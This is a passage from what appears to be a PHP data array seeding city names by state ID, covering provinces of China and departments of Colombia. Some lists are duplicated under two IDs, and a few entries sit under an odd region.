'baoji'],\n ['state_id' => '760', 'name' => 'guozhen'],\n ['state_id' => '760', 'name' => 'hancheng'],\n ['state_id' => '760', 'name' => 'hanzhong'],\n ['state_id' => '760', 'name' => 'lishan'],\n ['state_id' => '760', 'name' => 'qili'],\n ['state_id' => '760', 'name' => 'tongchuan'],\n ['state_id' => '760', 'name' => 'weinan'],\n ['state_id' => '760', 'name' => 'xian'],\n ['state_id' => '760', 'name' => 'xianyang'],\n ['state_id' => '760', 'name' => 'yanan'],\n ['state_id' => '760', 'name' => 'yanliang'],\n ['state_id' => '760', 'name' => 'yulin'],\n ['state_id' => '760', 'name' => 'yuxia'],\n ['state_id' => '761', 'name' => 'anqiu'],\n ['state_id' => '761', 'name' => 'bianzhuang'],\n ['state_id' => '761', 'name' => 'binzhou'],\n ['state_id' => '761', 'name' => 'boshan'],\n ['state_id' => '761', 'name' => 'boxing county'],\n ['state_id' => '761', 'name' => 'caocheng'],\n ['state_id' => '761', 'name' => 'changqing'],\n ['state_id' => '761', 'name' => 'chengyang'],\n ['state_id' => '761', 'name' => 'dengzhou'],\n ['state_id' => '761', 'name' => 'dezhou'],\n ['state_id' => '761', 'name' => 'dingtao'],\n ['state_id' => '761', 'name' => 'dongcun'],\n ['state_id' => '761', 'name' => 'dongdu'],\n ['state_id' => '761', 'name' => 'donge county'],\n ['state_id' => '761', 'name' => 'dongying'],\n ['state_id' => '761', 'name' => 'feicheng'],\n ['state_id' => '761', 'name' => 'fushan'],\n ['state_id' => '761', 'name' => 'gaomi'],\n ['state_id' => '761', 'name' => 'haiyang'],\n ['state_id' => '761', 'name' => 'hanting'],\n ['state_id' => '761', 'name' => 'hekou'],\n ['state_id' => '761', 'name' => 'heze'],\n ['state_id' => '761', 'name' => 'jiaonan'],\n ['state_id' => '761', 'name' => 'jiaozhou'],\n ['state_id' => '761', 'name' => 'jiehu'],\n ['state_id' => '761', 'name' => 'jimo'],\n ['state_id' => '761', 'name' => 'jinan'],\n ['state_id' => '761', 'name' => 'jining'],\n ['state_id' => '761', 'name' => 'juxian'],\n ['state_id' => '761', 'name' => 'juye'],\n ['state_id' => '761', 'name' => 'kunlun'],\n ['state_id' => '761', 'name' => 'laiwu'],\n ['state_id' => '761', 'name' => 'laiyang'],\n ['state_id' => '761', 'name' => 'laizhou'],\n ['state_id' => '761', 'name' => 'leling'],\n ['state_id' => '761', 'name' => 'liaocheng'],\n ['state_id' => '761', 'name' => 'licung'],\n ['state_id' => '761', 'name' => 'linqing'],\n ['state_id' => '761', 'name' => 'linqu'],\n ['state_id' => '761', 'name' => 'linshu'],\n ['state_id' => '761', 'name' => 'linyi'],\n ['state_id' => '761', 'name' => 'longkou'],\n ['state_id' => '761', 'name' => 'mengyin'],\n ['state_id' => '761', 'name' => 'mingshui'],\n ['state_id' => '761', 'name' => 'nanchou'],\n ['state_id' => '761', 'name' => 'nanding'],\n ['state_id' => '761', 'name' => 'nanma'],\n ['state_id' => '761', 'name' => 'ninghai'],\n ['state_id' => '761', 'name' => 'ningyang'],\n ['state_id' => '761', 'name' => 'pingdu'],\n ['state_id' => '761', 'name' => 'pingyi'],\n ['state_id' => '761', 'name' => 'pingyin'],\n ['state_id' => '761', 'name' => 'qingdao'],\n ['state_id' => '761', 'name' => 'qingzhou'],\n ['state_id' => '761', 'name' => 'qixia'],\n ['state_id' => '761', 'name' => 'qufu'],\n ['state_id' => '761', 'name' => 'rizhao'],\n ['state_id' => '761', 'name' => 'rongcheng'],\n ['state_id' => '761', 'name' => 'shancheng'],\n ['state_id' => '761', 'name' => 'shanting'],\n ['state_id' => '761', 'name' => 'shengzhuang'],\n ['state_id' => '761', 'name' => 'shenxian'],\n ['state_id' => '761', 'name' => 'shizilu'],\n ['state_id' => '761', 'name' => 'shouguang'],\n ['state_id' => '761', 'name' => 'shuiji'],\n ['state_id' => '761', 'name' => 'sishui'],\n ['state_id' => '761', 'name' => 'suozhen'],\n ['state_id' => '761', 'name' => 'taian'],\n ['state_id' => '761', 'name' => 'tancheng'],\n ['state_id' => '761', 'name' => 'taozhuang'],\n ['state_id' => '761', 'name' => 'tengzhou'],\n ['state_id' => '761', 'name' => 'weifang'],\n ['state_id' => '761', 'name' => 'weihai'],\n ['state_id' => '761', 'name' => 'wencheng'],\n ['state_id' => '761', 'name' => 'wendeng'],\n ['state_id' => '761', 'name' => 'wenshang'],\n ['state_id' => '761', 'name' => 'wudi'],\n ['state_id' => '761', 'name' => 'xiazhen'],\n ['state_id' => '761', 'name' => 'xincheng'],\n ['state_id' => '761', 'name' => 'xindian'],\n ['state_id' => '761', 'name' => 'xintai'],\n ['state_id' => '761', 'name' => 'yanggu'],\n ['state_id' => '761', 'name' => 'yangshan'],\n ['state_id' => '761', 'name' => 'yantai'],\n ['state_id' => '761', 'name' => 'yanzhou'],\n ['state_id' => '761', 'name' => 'yatou'],\n ['state_id' => '761', 'name' => 'yidu'],\n ['state_id' => '761', 'name' => 'yishui'],\n ['state_id' => '761', 'name' => 'yucheng'],\n ['state_id' => '761', 'name' => 'yuncheng'],\n ['state_id' => '761', 'name' => 'zaozhuang'],\n ['state_id' => '761', 'name' => 'zhangdian'],\n ['state_id' => '761', 'name' => 'zhangjiawa'],\n ['state_id' => '761', 'name' => 'zhangqiu'],\n ['state_id' => '761', 'name' => 'zhaocheng'],\n ['state_id' => '761', 'name' => 'zhoucheng'],\n ['state_id' => '761', 'name' => 'zhoucun'],\n ['state_id' => '761', 'name' => 'zhucheng'],\n ['state_id' => '761', 'name' => 'zhuwang'],\n ['state_id' => '761', 'name' => 'zicheng'],\n ['state_id' => '761', 'name' => 'zouping'],\n ['state_id' => '761', 'name' => 'zouxian'],\n ['state_id' => '762', 'name' => 'anqiu'],\n ['state_id' => '762', 'name' => 'bianzhuang'],\n ['state_id' => '762', 'name' => 'binzhou'],\n ['state_id' => '762', 'name' => 'boshan'],\n ['state_id' => '762', 'name' => 'boxing county'],\n ['state_id' => '762', 'name' => 'caocheng'],\n ['state_id' => '762', 'name' => 'changqing'],\n ['state_id' => '762', 'name' => 'chengyang'],\n ['state_id' => '762', 'name' => 'dengzhou'],\n ['state_id' => '762', 'name' => 'dezhou'],\n ['state_id' => '762', 'name' => 'dingtao'],\n ['state_id' => '762', 'name' => 'dongcun'],\n ['state_id' => '762', 'name' => 'dongdu'],\n ['state_id' => '762', 'name' => 'donge county'],\n ['state_id' => '762', 'name' => 'dongying'],\n ['state_id' => '762', 'name' => 'feicheng'],\n ['state_id' => '762', 'name' => 'fushan'],\n ['state_id' => '762', 'name' => 'gaomi'],\n ['state_id' => '762', 'name' => 'haiyang'],\n ['state_id' => '762', 'name' => 'hanting'],\n ['state_id' => '762', 'name' => 'hekou'],\n ['state_id' => '762', 'name' => 'heze'],\n ['state_id' => '762', 'name' => 'jiaonan'],\n ['state_id' => '762', 'name' => 'jiaozhou'],\n ['state_id' => '762', 'name' => 'jiehu'],\n ['state_id' => '762', 'name' => 'jimo'],\n ['state_id' => '762', 'name' => 'jinan'],\n ['state_id' => '762', 'name' => 'jining'],\n ['state_id' => '762', 'name' => 'juxian'],\n ['state_id' => '762', 'name' => 'juye'],\n ['state_id' => '762', 'name' => 'kunlun'],\n ['state_id' => '762', 'name' => 'laiwu'],\n ['state_id' => '762', 'name' => 'laiyang'],\n ['state_id' => '762', 'name' => 'laizhou'],\n ['state_id' => '762', 'name' => 'leling'],\n ['state_id' => '762', 'name' => 'liaocheng'],\n ['state_id' => '762', 'name' => 'licung'],\n ['state_id' => '762', 'name' => 'linqing'],\n ['state_id' => '762', 'name' => 'linqu'],\n ['state_id' => '762', 'name' => 'linshu'],\n ['state_id' => '762', 'name' => 'linyi'],\n ['state_id' => '762', 'name' => 'longkou'],\n ['state_id' => '762', 'name' => 'mengyin'],\n ['state_id' => '762', 'name' => 'mingshui'],\n ['state_id' => '762', 'name' => 'nanchou'],\n ['state_id' => '762', 'name' => 'nanding'],\n ['state_id' => '762', 'name' => 'nanma'],\n ['state_id' => '762', 'name' => 'ninghai'],\n ['state_id' => '762', 'name' => 'ningyang'],\n ['state_id' => '762', 'name' => 'pingdu'],\n ['state_id' => '762', 'name' => 'pingyi'],\n ['state_id' => '762', 'name' => 'pingyin'],\n ['state_id' => '762', 'name' => 'qingdao'],\n ['state_id' => '762', 'name' => 'qingzhou'],\n ['state_id' => '762', 'name' => 'qixia'],\n ['state_id' => '762', 'name' => 'qufu'],\n ['state_id' => '762', 'name' => 'rizhao'],\n ['state_id' => '762', 'name' => 'rongcheng'],\n ['state_id' => '762', 'name' => 'shancheng'],\n ['state_id' => '762', 'name' => 'shanting'],\n ['state_id' => '762', 'name' => 'shengzhuang'],\n ['state_id' => '762', 'name' => 'shenxian'],\n ['state_id' => '762', 'name' => 'shizilu'],\n ['state_id' => '762', 'name' => 'shouguang'],\n ['state_id' => '762', 'name' => 'shuiji'],\n ['state_id' => '762', 'name' => 'sishui'],\n ['state_id' => '762', 'name' => 'suozhen'],\n ['state_id' => '762', 'name' => 'taian'],\n ['state_id' => '762', 'name' => 'tancheng'],\n ['state_id' => '762', 'name' => 'taozhuang'],\n ['state_id' => '762', 'name' => 'tengzhou'],\n ['state_id' => '762', 'name' => 'weifang'],\n ['state_id' => '762', 'name' => 'weihai'],\n ['state_id' => '762', 'name' => 'wencheng'],\n ['state_id' => '762', 'name' => 'wendeng'],\n ['state_id' => '762', 'name' => 'wenshang'],\n ['state_id' => '762', 'name' => 'wudi'],\n ['state_id' => '762', 'name' => 'xiazhen'],\n ['state_id' => '762', 'name' => 'xincheng'],\n ['state_id' => '762', 'name' => 'xindian'],\n ['state_id' => '762', 'name' => 'xintai'],\n ['state_id' => '762', 'name' => 'yanggu'],\n ['state_id' => '762', 'name' => 'yangshan'],\n ['state_id' => '762', 'name' => 'yantai'],\n ['state_id' => '762', 'name' => 'yanzhou'],\n ['state_id' => '762', 'name' => 'yatou'],\n ['state_id' => '762', 'name' => 'yidu'],\n ['state_id' => '762', 'name' => 'yishui'],\n ['state_id' => '762', 'name' => 'yucheng'],\n ['state_id' => '762', 'name' => 'yuncheng'],\n ['state_id' => '762', 'name' => 'zaozhuang'],\n ['state_id' => '762', 'name' => 'zhangdian'],\n ['state_id' => '762', 'name' => 'zhangjiawa'],\n ['state_id' => '762', 'name' => 'zhangqiu'],\n ['state_id' => '762', 'name' => 'zhaocheng'],\n ['state_id' => '762', 'name' => 'zhoucheng'],\n ['state_id' => '762', 'name' => 'zhoucun'],\n ['state_id' => '762', 'name' => 'zhucheng'],\n ['state_id' => '762', 'name' => 'zhuwang'],\n ['state_id' => '762', 'name' => 'zicheng'],\n ['state_id' => '762', 'name' => 'zouping'],\n ['state_id' => '762', 'name' => 'zouxian'],\n ['state_id' => '763', 'name' => 'jiading'],\n ['state_id' => '763', 'name' => 'minhang'],\n ['state_id' => '763', 'name' => 'shanghai'],\n ['state_id' => '763', 'name' => 'songjiang'],\n ['state_id' => '763', 'name' => 'trencin'],\n ['state_id' => '764', 'name' => 'changzhi'],\n ['state_id' => '764', 'name' => 'datong'],\n ['state_id' => '764', 'name' => 'houma'],\n ['state_id' => '764', 'name' => 'jiexiu'],\n ['state_id' => '764', 'name' => 'jincheng'],\n ['state_id' => '764', 'name' => 'linfen'],\n ['state_id' => '764', 'name' => 'taiyuan'],\n ['state_id' => '764', 'name' => 'xian'],\n ['state_id' => '764', 'name' => 'xinzhi'],\n ['state_id' => '764', 'name' => 'xinzhou'],\n ['state_id' => '764', 'name' => 'yangquan'],\n ['state_id' => '764', 'name' => 'yuanping'],\n ['state_id' => '764', 'name' => 'yuci'],\n ['state_id' => '764', 'name' => 'yuncheng'],\n ['state_id' => '765', 'name' => 'anju'],\n ['state_id' => '765', 'name' => 'baoning'],\n ['state_id' => '765', 'name' => 'chengdu'],\n ['state_id' => '765', 'name' => 'daan'],\n ['state_id' => '765', 'name' => 'dawan'],\n ['state_id' => '765', 'name' => 'daxian'],\n ['state_id' => '765', 'name' => 'deyang'],\n ['state_id' => '765', 'name' => 'dujiangyan city'],\n ['state_id' => '765', 'name' => 'guangkou'],\n ['state_id' => '765', 'name' => 'guangyuan'],\n ['state_id' => '765', 'name' => 'guihu'],\n ['state_id' => '765', 'name' => 'heyang'],\n ['state_id' => '765', 'name' => 'huayang'],\n ['state_id' => '765', 'name' => 'jiancheng'],\n ['state_id' => '765', 'name' => 'jiangyou'],\n ['state_id' => '765', 'name' => 'jijiang'],\n ['state_id' => '765', 'name' => 'leshan'],\n ['state_id' => '765', 'name' => 'linqiong'],\n ['state_id' => '765', 'name' => 'luocheng'],\n ['state_id' => '765', 'name' => 'luzhou'],\n ['state_id' => '765', 'name' => 'mianyang'],\n ['state_id' => '765', 'name' => 'nanchong'],\n ['state_id' => '765', 'name' => 'nanlong'],\n ['state_id' => '765', 'name' => 'neijiang'],\n ['state_id' => '765', 'name' => 'panzhihua'],\n ['state_id' => '765', 'name' => 'shifang'],\n ['state_id' => '765', 'name' => 'suining'],\n ['state_id' => '765', 'name' => 'taihe'],\n ['state_id' => '765', 'name' => 'tianpeng'],\n ['state_id' => '765', 'name' => 'tongchuan'],\n ['state_id' => '765', 'name' => 'xichang'],\n ['state_id' => '765', 'name' => 'xunchang'],\n ['state_id' => '765', 'name' => 'yaan'],\n ['state_id' => '765', 'name' => 'yibin'],\n ['state_id' => '765', 'name' => 'yongchang'],\n ['state_id' => '765', 'name' => 'zhonglong'],\n ['state_id' => '765', 'name' => 'zigong'],\n ['state_id' => '765', 'name' => 'ziyang'],\n ['state_id' => '766', 'name' => 'beichen'],\n ['state_id' => '766', 'name' => 'gangdong'],\n ['state_id' => '766', 'name' => 'hangu'],\n ['state_id' => '766', 'name' => 'jinghai'],\n ['state_id' => '766', 'name' => 'nankai'],\n ['state_id' => '766', 'name' => 'tanggu'],\n ['state_id' => '766', 'name' => 'tianjin'],\n ['state_id' => '766', 'name' => 'xianshuigu'],\n ['state_id' => '766', 'name' => 'yangcun'],\n ['state_id' => '766', 'name' => 'yangliuqing'],\n ['state_id' => '767', 'name' => 'guiqing'],\n ['state_id' => '767', 'name' => 'jiulong'],\n ['state_id' => '767', 'name' => 'quanwan'],\n ['state_id' => '767', 'name' => 'saigong'],\n ['state_id' => '767', 'name' => 'shatin'],\n ['state_id' => '767', 'name' => 'taipo'],\n ['state_id' => '767', 'name' => 'tuanmun'],\n ['state_id' => '767', 'name' => 'xianggang'],\n ['state_id' => '767', 'name' => 'yuanlong'],\n ['state_id' => '768', 'name' => 'aksu'],\n ['state_id' => '768', 'name' => 'baijiantan'],\n ['state_id' => '768', 'name' => 'changji'],\n ['state_id' => '768', 'name' => 'dongshan'],\n ['state_id' => '768', 'name' => 'hami'],\n ['state_id' => '768', 'name' => 'hetian'],\n ['state_id' => '768', 'name' => 'karamay'],\n ['state_id' => '768', 'name' => 'kashi'],\n ['state_id' => '768', 'name' => 'korla'],\n ['state_id' => '768', 'name' => 'kuche'],\n ['state_id' => '768', 'name' => 'kuytun'],\n ['state_id' => '768', 'name' => 'shache'],\n ['state_id' => '768', 'name' => 'shihezi'],\n ['state_id' => '768', 'name' => 'shuimogou'],\n ['state_id' => '768', 'name' => 'toutunhe'],\n ['state_id' => '768', 'name' => 'urumqi'],\n ['state_id' => '768', 'name' => 'yining'],\n ['state_id' => '769', 'name' => 'lasa'],\n ['state_id' => '770', 'name' => 'dali'],\n ['state_id' => '770', 'name' => 'gejiu'],\n ['state_id' => '770', 'name' => 'haikou'],\n ['state_id' => '770', 'name' => 'heilin'],\n ['state_id' => '770', 'name' => 'jinma'],\n ['state_id' => '770', 'name' => 'kaihua'],\n ['state_id' => '770', 'name' => 'kaiyuan'],\n ['state_id' => '770', 'name' => 'kunming'],\n ['state_id' => '770', 'name' => 'lianran'],\n ['state_id' => '770', 'name' => 'longquan'],\n ['state_id' => '770', 'name' => 'lucheng'],\n ['state_id' => '770', 'name' => 'mabai'],\n ['state_id' => '770', 'name' => 'majie'],\n ['state_id' => '770', 'name' => 'miyang'],\n ['state_id' => '770', 'name' => 'qujing'],\n ['state_id' => '770', 'name' => 'rongcheng'],\n ['state_id' => '770', 'name' => 'simao'],\n ['state_id' => '770', 'name' => 'wufeng'],\n ['state_id' => '770', 'name' => 'yunjinghong'],\n ['state_id' => '770', 'name' => 'yuxi municipal'],\n ['state_id' => '770', 'name' => 'zhaotong'],\n ['state_id' => '770', 'name' => 'zhenhai'],\n ['state_id' => '770', 'name' => 'zhongshu'],\n ['state_id' => '770', 'name' => 'zhoucheng'],\n ['state_id' => '770', 'name' => 'zhuocheng'],\n ['state_id' => '771', 'name' => 'aojiang'],\n ['state_id' => '771', 'name' => 'choucheng'],\n ['state_id' => '771', 'name' => 'cixi'],\n ['state_id' => '771', 'name' => 'daqiao'],\n ['state_id' => '771', 'name' => 'deqing'],\n ['state_id' => '771', 'name' => 'dinghai'],\n ['state_id' => '771', 'name' => 'dongyang'],\n ['state_id' => '771', 'name' => 'fuyang'],\n ['state_id' => '771', 'name' => 'haining'],\n ['state_id' => '771', 'name' => 'haiyan'],\n ['state_id' => '771', 'name' => 'hangzhou'],\n ['state_id' => '771', 'name' => 'huangyan'],\n ['state_id' => '771', 'name' => 'hushan'],\n ['state_id' => '771', 'name' => 'huzhou'],\n ['state_id' => '771', 'name' => 'jiaojiang'],\n ['state_id' => '771', 'name' => 'jiaxing'],\n ['state_id' => '771', 'name' => 'jinhua'],\n ['state_id' => '771', 'name' => 'jinxiang'],\n ['state_id' => '771', 'name' => 'kaihua'],\n ['state_id' => '771', 'name' => 'kunyang'],\n ['state_id' => '771', 'name' => 'lanxi'],\n ['state_id' => '771', 'name' => 'linan city'],\n ['state_id' => '771', 'name' => 'linhai'],\n ['state_id' => '771', 'name' => 'linping'],\n ['state_id' => '771', 'name' => 'lishui'],\n ['state_id' => '771', 'name' => 'liushi'],\n ['state_id' => '771', 'name' => 'ningbo'],\n ['state_id' => '771', 'name' => 'ninghai'],\n ['state_id' => '771', 'name' => 'pinghu'],\n ['state_id' => '771', 'name' => 'quzhou'],\n ['state_id' => '771', 'name' => 'ruian'],\n ['state_id' => '771', 'name' => 'shangyu'],\n ['state_id' => '771', 'name' => 'shaoxing'],\n ['state_id' => '771', 'name' => 'shenjiamen'],\n ['state_id' => '771', 'name' => 'taizhou city'],\n ['state_id' => '771', 'name' => 'tonglu'],\n ['state_id' => '771', 'name' => 'wenling'],\n ['state_id' => '771', 'name' => 'wenzhou'],\n ['state_id' => '771', 'name' => 'wuning'],\n ['state_id' => '771', 'name' => 'wuyi'],\n ['state_id' => '771', 'name' => 'xianju'],\n ['state_id' => '771', 'name' => 'xiaoshan'],\n ['state_id' => '771', 'name' => 'xiashi'],\n ['state_id' => '771', 'name' => 'xushan'],\n ['state_id' => '771', 'name' => 'yiwu'],\n ['state_id' => '771', 'name' => 'yongkang'],\n ['state_id' => '771', 'name' => 'yueqing'],\n ['state_id' => '771', 'name' => 'yuhuan'],\n ['state_id' => '771', 'name' => 'yuyao'],\n ['state_id' => '771', 'name' => 'zhejiang'],\n ['state_id' => '771', 'name' => 'zhenhai'],\n ['state_id' => '771', 'name' => 'zhicheng'],\n ['state_id' => '771', 'name' => 'zhuji'],\n ['state_id' => '771', 'name' => 'fenghua'],\n ['state_id' => '771', 'name' => 'jiashan'],\n ['state_id' => '772', 'name' => 'aojiang'],\n ['state_id' => '772', 'name' => 'choucheng'],\n ['state_id' => '772', 'name' => 'cixi'],\n ['state_id' => '772', 'name' => 'daqiao'],\n ['state_id' => '772', 'name' => 'deqing'],\n ['state_id' => '772', 'name' => 'dinghai'],\n ['state_id' => '772', 'name' => 'dongyang'],\n ['state_id' => '772', 'name' => 'fuyang'],\n ['state_id' => '772', 'name' => 'haining'],\n ['state_id' => '772', 'name' => 'haiyan'],\n ['state_id' => '772', 'name' => 'hangzhou'],\n ['state_id' => '772', 'name' => 'huangyan'],\n ['state_id' => '772', 'name' => 'hushan'],\n ['state_id' => '772', 'name' => 'huzhou'],\n ['state_id' => '772', 'name' => 'jiaojiang'],\n ['state_id' => '772', 'name' => 'jiaxing'],\n ['state_id' => '772', 'name' => 'jinhua'],\n ['state_id' => '772', 'name' => 'jinxiang'],\n ['state_id' => '772', 'name' => 'kaihua'],\n ['state_id' => '772', 'name' => 'kunyang'],\n ['state_id' => '772', 'name' => 'lanxi'],\n ['state_id' => '772', 'name' => 'linan city'],\n ['state_id' => '772', 'name' => 'linhai'],\n ['state_id' => '772', 'name' => 'linping'],\n ['state_id' => '772', 'name' => 'lishui'],\n ['state_id' => '772', 'name' => 'liushi'],\n ['state_id' => '772', 'name' => 'ningbo'],\n ['state_id' => '772', 'name' => 'ninghai'],\n ['state_id' => '772', 'name' => 'pinghu'],\n ['state_id' => '772', 'name' => 'quzhou'],\n ['state_id' => '772', 'name' => 'ruian'],\n ['state_id' => '772', 'name' => 'shangyu'],\n ['state_id' => '772', 'name' => 'shaoxing'],\n ['state_id' => '772', 'name' => 'shenjiamen'],\n ['state_id' => '772', 'name' => 'taizhou city'],\n ['state_id' => '772', 'name' => 'tonglu'],\n ['state_id' => '772', 'name' => 'wenling'],\n ['state_id' => '772', 'name' => 'wenzhou'],\n ['state_id' => '772', 'name' => 'wuning'],\n ['state_id' => '772', 'name' => 'wuyi'],\n ['state_id' => '772', 'name' => 'xianju'],\n ['state_id' => '772', 'name' => 'xiaoshan'],\n ['state_id' => '772', 'name' => 'xiashi'],\n ['state_id' => '772', 'name' => 'xushan'],\n ['state_id' => '772', 'name' => 'yiwu'],\n ['state_id' => '772', 'name' => 'yongkang'],\n ['state_id' => '772', 'name' => 'yueqing'],\n ['state_id' => '772', 'name' => 'yuhuan'],\n ['state_id' => '772', 'name' => 'yuyao'],\n ['state_id' => '772', 'name' => 'zhejiang'],\n ['state_id' => '772', 'name' => 'zhenhai'],\n ['state_id' => '772', 'name' => 'zhicheng'],\n ['state_id' => '772', 'name' => 'zhuji'],\n ['state_id' => '772', 'name' => 'fenghua'],\n ['state_id' => '772', 'name' => 'jiashan'],\n ['state_id' => '775', 'name' => 'leticia'],\n ['state_id' => '775', 'name' => 'puerto narino'],\n ['state_id' => '776', 'name' => 'abejorral'],\n ['state_id' => '776', 'name' => 'abriaqui'],\n ['state_id' => '776', 'name' => 'alejandria'],\n ['state_id' => '776', 'name' => 'amaga'],\n ['state_id' => '776', 'name' => 'amalfi'],\n ['state_id' => '776', 'name' => 'andes'],\n ['state_id' => '776', 'name' => 'angelopolis'],\n ['state_id' => '776', 'name' => 'angostura'],\n ['state_id' => '776', 'name' => 'anori'],\n ['state_id' => '776', 'name' => 'antioquia'],\n ['state_id' => '776', 'name' => 'anza'],\n ['state_id' => '776', 'name' => 'apartado'],\n ['state_id' => '776', 'name' => 'arboletes'],\n ['state_id' => '776', 'name' => 'argelia'],\n ['state_id' => '776', 'name' => 'armenia'],\n ['state_id' => '776', 'name' => 'barbosa'],\n ['state_id' => '776', 'name' => 'bello'],\n ['state_id' => '776', 'name' => 'belmira'],\n ['state_id' => '776', 'name' => 'betania'],\n ['state_id' => '776', 'name' => 'betulia'],\n ['state_id' => '776', 'name' => 'bolivar'],\n ['state_id' => '776', 'name' => 'briceno'],\n ['state_id' => '776', 'name' => 'buritica'],\n ['state_id' => '776', 'name' => 'caceres'],\n ['state_id' => '776', 'name' => 'caicedo'],\n ['state_id' => '776', 'name' => 'caldas'],\n ['state_id' => '776', 'name' => 'campamento'],\n ['state_id' => '776', 'name' => 'canasgordas'],\n ['state_id' => '776', 'name' => 'caracoli'],\n ['state_id' => '776', 'name' => 'caramanta'],\n ['state_id' => '776', 'name' => 'carepa'],\n ['state_id' => '776', 'name' => 'carmen de viboral'],\n ['state_id' => '776', 'name' => 'carolina'],\n ['state_id' => '776', 'name' => 'caucasia'],\n ['state_id' => '776', 'name' => 'chigorodo'],\n ['state_id' => '776', 'name' => 'cisneros'],\n ['state_id' => '776', 'name' => 'cocorna'],\n ['state_id' => '776', 'name' => 'concepcion'],\n ['state_id' => '776', 'name' => 'concordia'],\n ['state_id' => '776', 'name' => 'copacabana'],\n ['state_id' => '776', 'name' => 'dabeiba'],\n ['state_id' => '776', 'name' => 'don matias'],\n ['state_id' => '776', 'name' => 'ebejico'],\n ['state_id' => '776', 'name' => 'el bagre'],\n ['state_id' => '776', 'name' => 'entrerrios'],\n ['state_id' => '776', 'name' => 'envigado'],\n ['state_id' => '776', 'name' => 'fredonia'],\n ['state_id' => '776', 'name' => 'frontino'],\n ['state_id' => '776', 'name' => 'giraldo'],\n ['state_id' => '776', 'name' => 'girardota'],\n ['state_id' => '776', 'name' => 'gomez plata'],\n ['state_id' => '776', 'name' => 'granada'],\n ['state_id' => '776', 'name' => 'guadalupe'],\n ['state_id' => '776', 'name' => 'guarne'],\n ['state_id' => '776', 'name' => 'guatape'],\n ['state_id' => '776', 'name' => 'heliconia'],\n ['state_id' => '776', 'name' => 'hispania'],\n ['state_id' => '776', 'name' => 'itagui'],\n ['state_id' => '776', 'name' => 'ituango'],\n ['state_id' => '776', 'name' => 'jardin'],\n ['state_id' => '776', 'name' => 'jerico'],\n ['state_id' => '776', 'name' => 'la ceja'],\n ['state_id' => '776', 'name' => 'la estrella'],\n ['state_id' => '776', 'name' => 'la pintada'],\n ['state_id' => '776', 'name' => 'la union'],\n ['state_id' => '776', 'name' => 'liborina'],\n ['state_id' => '776', 'name' => 'maceo'],\n ['state_id' => '776', 'name' => 'marinilla'],\n ['state_id' => '776', 'name' => 'medellin'],\n ['state_id' => '776', 'name' => 'montebello'],\n ['state_id' => '776', 'name' => 'murindo'],\n ['state_id' => '776', 'name' => 'mutata'],\n ['state_id' => '776', 'name' => 'narino'],\n ['state_id' => '776', 'name' => 'nechi'],\n ['state_id' => '776', 'name' => 'necocli'],\n ['state_id' => '776', 'name' => 'olaya'],\n ['state_id' => '776', 'name' => 'penol'],\n ['state_id' => '776', 'name' => 'peque'],\n ['state_id' => '776', 'name' => 'pueblorrico'],\n ['state_id' => '776', 'name' => 'puerto berrio'],\n ['state_id' => '776', 'name' => 'puerto nare'],\n ['state_id' => '776', 'name' => 'puerto triunfo'],\n ['state_id' => '776', 'name' => 'remedios'],\n ['state_id' => '776', 'name' => 'retiro'],\n ['state_id' => '776', 'name' => 'rionegro'],\n ['state_id' => '776', 'name' => 'sabanalarga'],\n ['state_id' => '776', 'name' => 'sabaneta'],\n ['state_id' => '776', 'name' => 'salgar'],\n ['state_id' => '776', 'name' => 'san andres'],\n ['state_id' => '776', 'name' => 'san carlos'],\n ['state_id' => '776', 'name' => 'san francisco'],\n ['state_id' => '776', 'name' => 'san jeronimo'],\n ['state_id' => '776', 'name' => 'san jose de la montana'],\n ['state_id' => '776', 'name' => 'san juan de uraba'],\n ['state_id' => '776', 'name' => 'san luis'],\n ['state_id' => '776', 'name' => 'san pedro'],\n ['state_id' => '776', 'name' => 'san pedro de uraba'],\n ['state_id' => '776', 'name' => 'san rafael'],\n ['state_id' => '776', 'name' => 'san roque'],\n ['state_id' => '776', 'name' => 'san vicente'],\n ['state_id' => '776', 'name' => 'santa barbara'],\n ['state_id' => '776', 'name' => 'santa rosa de osos'],\n ['state_id' => '776', 'name' => 'santo domingo'],\n ['state_id' => '776', 'name' => 'santuario'],\n ['state_id' => '776', 'name' => 'segovia'],\n ['state_id' => '776', 'name' => 'sonson'],\n ['state_id' => '776', 'name' => 'sopetran'],\n ['state_id' => '776', 'name' => 'tamesis'],\n ['state_id' => '776', 'name' => 'taraza'],\n ['state_id' => '776', 'name' => 'tarso'],\n ['state_id' => '776', 'name' => 'titiribi'],\n ['state_id' => '776', 'name' => 'toledo'],\n ['state_id' => '776', 'name' => 'turbo'],\n ['state_id' => '776', 'name' => 'uramita'],\n ['state_id' => '776', 'name' => 'urrao'],\n ['state_id' => '776', 'name' => 'valdivia'],\n ['state_id' => '776', 'name' => 'valparaiso'],\n ['state_id' => '776', 'name' => 'vegachi'],\n ['state_id' => '776', 'name' => 'venecia'],\n ['state_id' => '776', 'name' => 'vigia del fuerte'],\n ['state_id' => '776', 'name' => 'yali'],\n ['state_id' => '776', 'name' => 'yarumal'],\n ['state_id' => '776', 'name' => 'yolombo'],\n ['state_id' => '776', 'name' => 'yondo'],\n ['state_id' => '776', 'name' => 'zaragoza'],\n ['state_id' => '777', 'name' => 'arauca'],\n ['state_id' => '777', 'name' => 'arauquita'],\n ['state_id' => '777', 'name' => 'cravo norte'],\n ['state_id' => '777', 'name' => 'fortul'],\n ['state_id' => '777', 'name' => 'puerto rondon'],\n ['state_id' => '777', 'name' => 'saravena'],\n ['state_id' => '777', 'name' => 'tame'],\n ['state_id' => '778', 'name' => 'baranoa'],\n ['state_id' => '778', 'name' => 'barranquilla'],\n ['state_id' => '778', 'name' => 'campo de la cruz'],\n ['state_id' => '778', 'name' => 'candelaria'],\n ['state_id' => '778', 'name' => 'galapa'],\n ['state_id' => '778', 'name' => 'juan de acosta'],\n ['state_id' => '778', 'name' => 'luruaco'],\n ['state_id' => '778', 'name' => 'malambo'],\n ['state_id' => '778', 'name' => 'manati'],\n ['state_id' => '778', 'name' => 'palmar de varela'],\n ['state_id' => '778', 'name' => 'piojo'],\n ['state_id' => '778', 'name' => 'polo nuevo'],\n ['state_id' => '778', 'name' => 'ponedera'],\n ['state_id' => '778', 'name' => 'puerto colombia'],\n ['state_id' => '778', 'name' => 'repelon'],\n ['state_id' => '778', 'name' => 'sabanagrande'],\n ['state_id' => '778', 'name' => 'sabanalarga'],\n ['state_id' => '778', 'name' => 'santa lucia'],\n ['state_id' => '778', 'name' => 'santo tomas'],\n ['state_id' => '778', 'name' => 'soledad'],\n ['state_id' => '778', 'name' => 'suan'],\n ['state_id' => '778', 'name' => 'tubara'],\n ['state_id' => '778', 'name' => 